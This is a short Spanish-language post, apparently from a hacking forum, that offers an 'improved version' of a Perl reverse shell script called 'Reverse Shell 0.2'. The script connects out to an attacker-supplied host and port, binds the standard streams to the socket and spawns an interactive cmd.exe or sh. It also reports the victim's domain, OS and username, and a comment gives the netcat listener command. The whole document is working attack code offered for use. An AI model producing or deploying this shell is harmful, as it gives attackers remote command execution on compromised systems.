Version mejorada de este script.
Código:
#!usr/bin/perl
#Reverse Shell 0.2
#Coded By Doddy H
#Command : nc -lvvp 666
use IO::Socket;
print "\n== -- Reverse Shell 0.2 - Doddy H 2012 -- ==\n\n";
unless ( @ARGV == 2 ) {
print "[Sintax] : $0 <host> <port>\n\n";
exit(1);
}
else {
print "[+] Starting the connection\n";
print "[+] Enter in the system\n";
print "[+] Enjoy !!!\n\n";
conectar( $ARGV[0], $ARGV[1] );
tipo();
}
sub conectar {
socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
open( STDIN, ">&REVERSE" );
open( STDOUT, ">&REVERSE" );
open( STDERR, ">&REVERSE" );
}
sub tipo {
print "\n[+] Reverse Shell Starting...\n\n";
if ( $^O =~ /Win32/ig ) {
infowin();
system("cmd.exe");
}
else {
infolinux();
system("export TERM=xterm;exec sh -i");
}
}
sub infowin {
print "[+] Domain Name : " . Win32::DomainName() . "\n";
print "[+] OS Version : " . Win32::GetOSName() . "\n";
print "[+] Username : " . Win32::LoginName() . "\n\n\n";
}
sub infolinux {
print "[+] System information\n\n";
system("uname -a");
print "\n\n";
}
#The End ?